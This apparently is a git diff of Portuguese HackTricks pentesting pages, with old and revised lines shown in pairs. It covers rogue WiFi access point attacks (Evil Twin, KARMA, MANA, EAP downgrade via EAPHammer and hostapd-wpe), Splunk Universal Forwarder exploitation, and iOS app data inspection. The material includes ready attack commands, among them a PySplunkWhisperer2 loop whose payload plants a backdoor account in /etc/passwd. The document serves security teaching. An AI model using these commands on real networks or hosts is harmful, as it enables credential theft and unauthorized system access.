![](<../../images/image (1088).png>)
Por favor, note que por padrão, se um ESSID no PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você poderia DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método você não poderá fazer a vítima se conectar a você, pois não conhece o PSK, mas pode capturar o handshake e tentar quebrá-lo).
Por favor, note que por padrão, se um ESSID no PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você pode DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método, você não poderá fazer a vítima se conectar a você, pois não sabe o PSK, mas pode capturar o handshake e tentar quebrá-lo).
_Alguns sistemas operacionais e antivírus avisarão o usuário que conectar-se a uma rede aberta é perigoso..._
_Alguns sistemas operacionais e antivírus avisarão o usuário que se conectar a uma rede aberta é perigoso..._
### WPA/WPA2 Evil Twin
@ -545,23 +545,23 @@ No arquivo de configuração, você pode selecionar muitas coisas diferentes, co
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto claro e, em seguida, o uso de métodos de autenticação mais robustos):
Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto simples e, em seguida, o uso de métodos de autenticação mais robustos):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
Esta é a metodologia padrão para evitar longos tempos de conexão. No entanto, você também pode especificar ao servidor os métodos de autenticação do mais fraco para o mais forte:
Esta é a metodologia padrão para evitar longos tempos de conexão. No entanto, você também pode especificar os métodos de autenticação do servidor do mais fraco para o mais forte:
```
--negotiate weakest
```
Ou você também pode usar:
- `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto simples)
- `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto claro)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente os métodos oferecidos (oferecer os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar).
- [Encontre mais informações na wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Usando Airgeddon**
`Airgeddon` pode usar certificados gerados anteriormente para oferecer autenticação EAP em redes WPA/WPA2-Enterprise. A rede falsa irá rebaixar o protocolo de conexão para EAP-MD5, de modo que será capaz de **capturar o usuário e o MD5 da senha**. Mais tarde, o atacante pode tentar quebrar a senha.\
`Airgeddon` pode usar certificados gerados anteriormente para oferecer autenticação EAP em redes WPA/WPA2-Enterprise. A rede falsa irá rebaixar o protocolo de conexão para EAP-MD5, permitindo **capturar o usuário e o MD5 da senha**. Depois, o atacante pode tentar quebrar a senha.\
`Airgeddon` oferece a possibilidade de um **ataque Evil Twin contínuo (barulhento)** ou **apenas criar o ataque Evil até que alguém se conecte (suave).**
![](<../../images/image (936).png>)
@ -571,7 +571,7 @@ Ou você também pode usar:
_Este método foi testado em uma conexão PEAP, mas como estou descriptografando um túnel TLS arbitrário, isso também deve funcionar com EAP-TTLS_
Dentro da **configuração** do _hostapd-wpe_, **comente** a linha que contém _**dh_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` para `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Isso fará com que `hostapd-wpe` **troque chaves usando RSA** em vez de DH, para que você possa **descriptografar** o tráfego mais tarde **sabendo a chave privada do servidor**.
Isso fará com que `hostapd-wpe` **troque chaves usando RSA** em vez de DH, permitindo que você **descriptografe** o tráfego mais tarde **conhecendo a chave privada do servidor**.
Agora inicie o **Evil Twin** usando **`hostapd-wpe`** com essa configuração modificada como de costume. Além disso, inicie **`wireshark`** na **interface** que está realizando o ataque Evil Twin.
@ -587,17 +587,17 @@ E olhe na nova **aba "Decrypted TLS"**:
## KARMA, MANA, Loud MANA e ataque de beacons conhecidos
### Listas negras/whitelists de ESSID e MAC
### Listas negras/white de ESSID e MAC
Diferentes tipos de Listas de Filtro de Controle de Acesso à Mídia (MFACLs) e seus modos correspondentes e efeitos no comportamento de um Ponto de Acesso (AP) malicioso:
1. **Whitelist baseada em MAC**:
1. **Lista Branca baseada em MAC**:
- O AP malicioso responderá apenas a solicitações de sondagem de dispositivos especificados na lista branca, permanecendo invisível a todos os outros não listados.
2. **Blacklist baseada em MAC**:
2. **Lista Negra baseada em MAC**:
- O AP malicioso ignorará solicitações de sondagem de dispositivos na lista negra, tornando efetivamente o AP malicioso invisível para esses dispositivos específicos.
3. **Whitelist baseada em SSID**:
3. **Lista Branca baseada em SSID**:
- O AP malicioso responderá a solicitações de sondagem apenas para ESSIDs específicos listados, tornando-o invisível para dispositivos cujas Listas de Redes Preferidas (PNLs) não contêm esses ESSIDs.
4. **Blacklist baseada em SSID**:
4. **Lista Negra baseada em SSID**:
- O AP malicioso não responderá a solicitações de sondagem para os ESSIDs específicos na lista negra, tornando-o invisível para dispositivos que buscam essas redes particulares.
```bash
# example EAPHammer MFACL file, wildcards can be used
@ -620,13 +620,13 @@ name3
```
### KARMA
Este método permite que um **atacante crie um ponto de acesso (AP) malicioso que responde a todas as solicitações de sondagem** de dispositivos que buscam se conectar a redes. Esta técnica **enganha os dispositivos para se conectarem ao AP do atacante** ao imitar as redes que os dispositivos estão procurando. Uma vez que um dispositivo envia uma solicitação de conexão para este AP malicioso, a conexão é completada, levando o dispositivo a se conectar erroneamente à rede do atacante.
Este método permite que um **atacante crie um ponto de acesso (AP) malicioso que responde a todas as solicitações de sondagem** de dispositivos que buscam se conectar a redes. Esta técnica **enganha os dispositivos para se conectarem ao AP do atacante** ao imitar as redes que os dispositivos estão procurando. Uma vez que um dispositivo envia uma solicitação de conexão para este AP falso, ele completa a conexão, levando o dispositivo a se conectar erroneamente à rede do atacante.
### MANA
Então, **os dispositivos começaram a ignorar respostas de rede não solicitadas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP malicioso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de broadcast** com nomes de redes (SSIDs) previamente solicitados pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas.
Então, **os dispositivos começaram a ignorar respostas de rede não sólidas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP falso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de transmissão** com nomes de rede (SSIDs) previamente sólidos pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas.
O ataque MANA opera monitorando tanto solicitações de sondagem direcionadas quanto de broadcast dos dispositivos. Para solicitações direcionadas, ele registra o endereço MAC do dispositivo e o nome da rede solicitada, adicionando essas informações a uma lista. Quando uma solicitação de broadcast é recebida, o AP responde com informações que correspondem a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo a se conectar ao AP malicioso.
O ataque MANA opera monitorando tanto solicitações de sondagem direcionadas quanto de transmissão de dispositivos. Para solicitações direcionadas, ele registra o endereço MAC do dispositivo e o nome da rede solicitada, adicionando essas informações a uma lista. Quando uma solicitação de transmissão é recebida, o AP responde com informações que correspondem a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo a se conectar ao AP falso.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -640,7 +640,7 @@ Um **ataque Loud MANA** é uma estratégia avançada para quando os dispositivos
Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma lista de palavras. Isso simula a presença de inúmeras redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos.
Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
O Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -684,6 +684,6 @@ Esses métodos, particularmente a entrada de PIN, são suscetíveis às mesmas v
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
TODO: Dê uma olhada em [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login com facebook e imitação de WPA em portals cativos)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Se **enumerando** uma máquina **internamente** ou **externamente** você encontrar **Splunk em execução** (porta 8090), se você tiver a sorte de conhecer **credenciais válidas**, você pode **abusar do serviço Splunk** para **executar um shell** como o usuário que está executando o Splunk. Se o root estiver executando, você pode escalar privilégios para root.
Se **enumerando** uma máquina **internamente** ou **externamente** você encontrar **Splunk em execução** (porta 8090), se você tiver a sorte de conhecer **credenciais válidas**, pode **abusar do serviço Splunk** para **executar um shell** como o usuário que está executando o Splunk. Se o root estiver executando, você pode escalar privilégios para root.
Além disso, se você **já for root e o serviço Splunk não estiver ouvindo apenas no localhost**, você pode **roubar** o arquivo de **senha** **do** serviço Splunk e **quebrar** as senhas, ou **adicionar novas** credenciais a ele. E manter persistência no host.
@ -19,7 +19,7 @@ Uma exploração direcionada ao Agente Splunk Universal Forwarder (UF) permite q
- O agente UF não valida conexões de entrada ou a autenticidade do código, tornando-o vulnerável à execução não autorizada de código.
- Métodos comuns de aquisição de senhas incluem localizá-las em diretórios de rede, compartilhamentos de arquivos ou documentação interna.
- A exploração bem-sucedida pode levar a acesso de nível SYSTEM ou root em hosts comprometidos, exfiltração de dados e infiltração adicional na rede.
- A exploração bem-sucedida pode levar a acesso em nível de SYSTEM ou root em hosts comprometidos, exfiltração de dados e infiltração adicional na rede.
**Execução da Exploração:**
@ -37,13 +37,13 @@ Uma exploração direcionada ao Agente Splunk Universal Forwarder (UF) permite q
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Exploits públicos utilizáveis:**
**Explorações públicas utilizáveis:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
## Abusando de Consultas Splunk
## Abusando Consultas do Splunk
**Para mais detalhes, consulte o post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**

View File

@ -26,16 +26,16 @@ Durante o teste **várias operações serão sugeridas** (conectar ao dispositiv
basic-ios-testing-operations.md
{{#endref}}
> [!NOTE]
> [!TIP]
> Para os próximos passos **o aplicativo deve estar instalado** no dispositivo e já deve ter obtido o **arquivo IPA** da aplicação.\
> Leia a página [Basic iOS Testing Operations](basic-ios-testing-operations.md) para aprender como fazer isso.
### Basic Static Analysis
Alguns decompiladores interessantes de arquivos iOS - IPA:
Alguns decompiladores interessantes de iOS - IPA:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
É recomendado usar a ferramenta [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) para realizar uma Análise Estática automática do arquivo IPA.
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
### Basic Dynamic Analysis
Confira a análise dinâmica que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) realiza. Você precisará navegar pelas diferentes visualizações e interagir com elas, mas ele irá interceptar várias classes ao fazer outras coisas e preparará um relatório assim que você terminar.
Confira a análise dinâmica que [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) realiza. Você precisará navegar pelas diferentes visualizações e interagir com elas, mas ele estará conectando várias classes ao fazer outras coisas e preparará um relatório assim que você terminar.
### Listing Installed Apps
@ -160,7 +160,7 @@ Aprenda como **enumerar os componentes da aplicação** e como **hookear método
ios-hooking-with-objection.md
{{#endref}}
### Estrutura IPA
### Estrutura do IPA
A estrutura de um **arquivo IPA** é essencialmente a de um **pacote zipado**. Ao renomear sua extensão para `.zip`, ele pode ser **descompactado** para revelar seu conteúdo. Dentro dessa estrutura, um **Bundle** representa uma aplicação totalmente empacotada e pronta para instalação. Dentro, você encontrará um diretório chamado `<NAME>.app`, que encapsula os recursos da aplicação.
@ -178,9 +178,9 @@ A estrutura de um **arquivo IPA** é essencialmente a de um **pacote zipado**. A
**Info.plist**
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de app e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de app até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de app e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de app até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor da Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão XML pode ser realizada facilmente através do uso de `plutil` no macOS (disponível nativamente nas versões 10.2 e posteriores) ou `plistutil` no Linux. Os comandos para conversão são os seguintes:
Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão para XML pode ser realizada facilmente através do uso de `plutil` no macOS (disponível nativamente nas versões 10.2 e posteriores) ou `plistutil` no Linux. Os comandos para conversão são os seguintes:
- **Para macOS**:
```bash
@ -191,18 +191,18 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Entre a miríade de informações que o arquivo **Info.plist** pode revelar, entradas notáveis incluem strings de permissão do aplicativo (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`) e configurações para a Segurança de Transporte de Aplicativos (`NSAppTransportSecurity`). Essas entradas, junto com outras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), podem ser facilmente localizadas inspecionando o arquivo ou empregando um simples comando `grep`:
Entre a miríade de informações que o arquivo **Info.plist** pode revelar, entradas notáveis incluem strings de permissão do app (`UsageDescription`), esquemas de URL personalizados (`CFBundleURLTypes`) e configurações para a Segurança de Transporte de Aplicativos (`NSAppTransportSecurity`). Essas entradas, junto com outras como tipos de documentos personalizados exportados/importados (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), podem ser facilmente localizadas inspecionando o arquivo ou empregando um simples comando `grep`:
```bash
$ grep -i <keyword> Info.plist
```
**Caminhos de Dados**
No ambiente iOS, os diretórios são designados especificamente para **aplicações do sistema** e **aplicações instaladas pelo usuário**. As aplicações do sistema residem no diretório `/Applications`, enquanto os aplicativos instalados pelo usuário são colocados em `/var/mobile/containers/Data/Application/`. Essas aplicações recebem um identificador único conhecido como **UUID de 128 bits**, tornando a tarefa de localizar manualmente a pasta de um aplicativo desafiadora devido à aleatoriedade dos nomes dos diretórios.
No ambiente iOS, diretórios são designados especificamente para **aplicações do sistema** e **aplicações instaladas pelo usuário**. Aplicações do sistema residem no diretório `/Applications`, enquanto aplicativos instalados pelo usuário são colocados em `/var/mobile/containers/Data/Application/`. Essas aplicações recebem um identificador único conhecido como **UUID de 128 bits**, tornando a tarefa de localizar manualmente a pasta de um aplicativo desafiadora devido à aleatoriedade dos nomes dos diretórios.
> [!WARNING]
> Como as aplicações no iOS devem ser isoladas, cada aplicativo também terá uma pasta dentro de **`$HOME/Library/Containers`** com o **`CFBundleIdentifier`** do aplicativo como nome da pasta.
> Como as aplicações no iOS devem ser isoladas, cada aplicativo também terá uma pasta dentro de **`$HOME/Library/Containers`** com o **`CFBundleIdentifier`** do aplicativo como o nome da pasta.
>
> No entanto, ambas as pastas (dados e pastas de contêiner) possuem o arquivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos os arquivos na chave `MCMetadataIdentifier`).
> No entanto, ambas as pastas (pasta de dados e pasta de contêiner) possuem o arquivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos os arquivos na chave `MCMetadataIdentifier`).
Para facilitar a descoberta do diretório de instalação de um aplicativo instalado pelo usuário, a **ferramenta objection** fornece um comando útil, `env`. Este comando revela informações detalhadas do diretório para o aplicativo em questão. Abaixo está um exemplo de como usar este comando:
```bash
@ -243,12 +243,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Contém todos os **arquivos que não são específicos do usuário**, como **caches**, **preferências**, **cookies** e arquivos de configuração de lista de propriedades (plist).
- Aplicativos iOS geralmente usam os subdiretórios `Application Support` e `Caches`, mas o app pode criar subdiretórios personalizados.
- **Library/Caches/**
- Contém **arquivos em cache semi-persistentes.**
- Contém **arquivos de cache semi-persistentes.**
- Invisível para os usuários e **os usuários não podem escrever nele**.
- O conteúdo deste diretório **não é salvo**.
- O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o app não está em execução e o espaço de armazenamento está baixo.
- **Library/Application Support/**
- Contém **arquivos persistentes** necessários para a execução do app.
- Contém **arquivos** **persistentes** necessários para a execução do app.
- **Invisível** **para** **os usuários** e os usuários não podem escrever nele.
- O conteúdo deste diretório **é salvo**.
- O app pode desabilitar caminhos configurando `NSURLIsExcludedFromBackupKey`.
@ -257,8 +257,8 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- As informações são salvas, não criptografadas, dentro do sandbox da aplicação em um arquivo plist chamado \[BUNDLE_ID].plist.
- Todos os pares chave/valor armazenados usando `NSUserDefaults` podem ser encontrados neste arquivo.
- **tmp/**
- Use este diretório para escrever **arquivos temporários** que não precisam persistir entre as execuções do app.
- Contém arquivos em cache não persistentes.
- Use este diretório para escrever **arquivos temporários** que não precisam persistir entre lançamentos do app.
- Contém arquivos de cache não persistentes.
- **Invisível** para os usuários.
- O conteúdo deste diretório não é salvo.
- O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o app não está em execução e o espaço de armazenamento está baixo.
@ -371,9 +371,9 @@ ios-basics.md
### Plist
Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendável verificar esses arquivos após a instalação do aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendado verificar esses arquivos após instalar o aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
A forma mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
A maneira mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
A classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornece uma interface programática para interagir com o sistema padrão. O sistema padrão permite que um aplicativo personalize seu comportamento de acordo com **preferências do usuário**. Os dados salvos pelo `NSUserDefaults` podem ser visualizados no pacote do aplicativo. Esta classe armazena **dados** em um **arquivo plist**, mas é destinada a ser usada com pequenas quantidades de dados.
@ -385,7 +385,7 @@ Para encontrar todos os plist usados pelo aplicativo, você pode acessar `/priva
```bash
find ./ -name "*.plist"
```
Para converter arquivos do formato **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
Para converter arquivos de **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
**Para usuários do macOS:** Utilize o comando `plutil`. É uma ferramenta embutida no macOS (10.2+), projetada para esse propósito:
```bash
@ -438,7 +438,7 @@ Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-lo
### Outros Bancos de Dados SQLite
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados estão salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@ -465,7 +465,7 @@ $ find ./ -name "*.realm*"
```
Para visualizar esses arquivos de banco de dados, a ferramenta [**Realm Studio**](https://github.com/realm/realm-studio) é recomendada.
Para implementar criptografia dentro de um banco de dados Realm, o seguinte trecho de código pode ser usado:
Para implementar a criptografia dentro de um banco de dados Realm, o seguinte trecho de código pode ser usado:
```swift
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
@ -489,7 +489,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
iOS armazena os cookies dos aplicativos em **`Library/Cookies/cookies.binarycookies`** dentro da pasta de cada aplicativo. No entanto, os desenvolvedores às vezes decidem salvá-los no **keychain**, pois o mencionado **arquivo de cookie pode ser acessado em backups**.
Para inspecionar o arquivo de cookies, você pode usar [**este script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o **`ios cookies get`** do objection.\
Para inspecionar o arquivo de cookies, você pode usar [**este script em python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o **`ios cookies get`** do objection.\
**Você também pode usar o objection para** converter esses arquivos para um formato JSON e inspecionar os dados.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
@ -510,7 +510,7 @@ Para inspecionar o arquivo de cookies, você pode usar [**este script python**](
Por padrão, o NSURLSession armazena dados, como **requisições e respostas HTTP no banco de dados Cache.db**. Este banco de dados pode conter **dados sensíveis**, se tokens, nomes de usuário ou qualquer outra informação sensível tiver sido armazenada em cache. Para encontrar as informações em cache, abra o diretório de dados do aplicativo (`/var/mobile/Containers/Data/Application/<UUID>`) e vá para `/Library/Caches/<Bundle Identifier>`. O **cache do WebKit também está sendo armazenado no arquivo Cache.db**. **Objection** pode abrir e interagir com o banco de dados com o comando `sqlite connect Cache.db`, pois é um **banco de dados SQLite normal**.
É **recomendado desabilitar o armazenamento em cache desses dados**, pois pode conter informações sensíveis na requisição ou resposta. A lista a seguir mostra diferentes maneiras de alcançar isso:
É **recomendado desabilitar o cache desses dados**, pois pode conter informações sensíveis na requisição ou resposta. A lista a seguir mostra diferentes maneiras de alcançar isso:
1. É recomendado remover as respostas em cache após o logout. Isso pode ser feito com o método fornecido pela Apple chamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Você pode chamar este método da seguinte forma:
@ -584,17 +584,17 @@ Para extrair essas credenciais armazenadas, o comando `ios nsurlcredentialstorag
## **Teclados Personalizados e Cache de Teclado**
Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles apresentam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem, e devem, restringir o uso de teclados personalizados para a entrada de informações sensíveis.
Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles apresentam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem e devem restringir o uso de teclados personalizados para a entrada de informações sensíveis.
**Recomendações de Segurança:**
- É aconselhável desativar teclados de terceiros para aumentar a segurança.
- Esteja ciente das funcionalidades de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache.
- Esteja ciente dos recursos de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache.
- Interceptar o tráfego de rede pode revelar se um teclado personalizado está transmitindo teclas remotamente.
### **Prevenindo o Cache de Campos de Texto**
O [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) oferece propriedades para gerenciar a correção automática e a entrada de texto segura, essenciais para prevenir o cache de informações sensíveis. Por exemplo, desativar a correção automática e habilitar a entrada de texto segura pode ser alcançado com:
O [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) oferece propriedades para gerenciar a correção automática e a entrada de texto segura, essenciais para prevenir o cache de informações sensíveis. Por exemplo, desabilitar a correção automática e habilitar a entrada de texto segura pode ser alcançado com:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
@ -621,7 +621,7 @@ Os aplicativos registram várias informações que podem ser sensíveis. Para mo
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
```
são úteis. Além disso, **Xcode** oferece uma maneira de coletar logs do console:
são úteis. Além disso, **Xcode** fornece uma maneira de coletar logs do console:
1. Abra o Xcode.
2. Conecte o dispositivo iOS.
@ -646,11 +646,11 @@ A inclusão de **aplicativos instalados e seus dados** nos backups levanta a que
### Excluindo Arquivos dos Backups
Arquivos em `Documents/` e `Library/Application Support/` são incluídos nos backups por padrão. Os desenvolvedores podem excluir arquivos ou diretórios específicos dos backups usando `NSURL setResourceValue:forKey:error:` com o `NSURLIsExcludedFromBackupKey`. Essa prática é crucial para proteger dados sensíveis de serem incluídos nos backups.
Arquivos em `Documents/` e `Library/Application Support/` são incluídos nos backups por padrão. Os desenvolvedores podem excluir arquivos ou diretórios específicos dos backups usando `NSURL setResourceValue:forKey:error:` com a chave `NSURLIsExcludedFromBackupKey`. Essa prática é crucial para proteger dados sensíveis de serem incluídos nos backups.
### Testando Vulnerabilidades
Para avaliar a segurança do backup de um aplicativo, comece por **criar um backup** usando o Finder, depois localize-o usando orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados sensíveis ou configurações que possam ser alteradas para afetar o comportamento do aplicativo.
Para avaliar a segurança do backup de um aplicativo, comece **criando um backup** usando o Finder, depois localize-o usando as orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados sensíveis ou configurações que possam ser alteradas para afetar o comportamento do aplicativo.
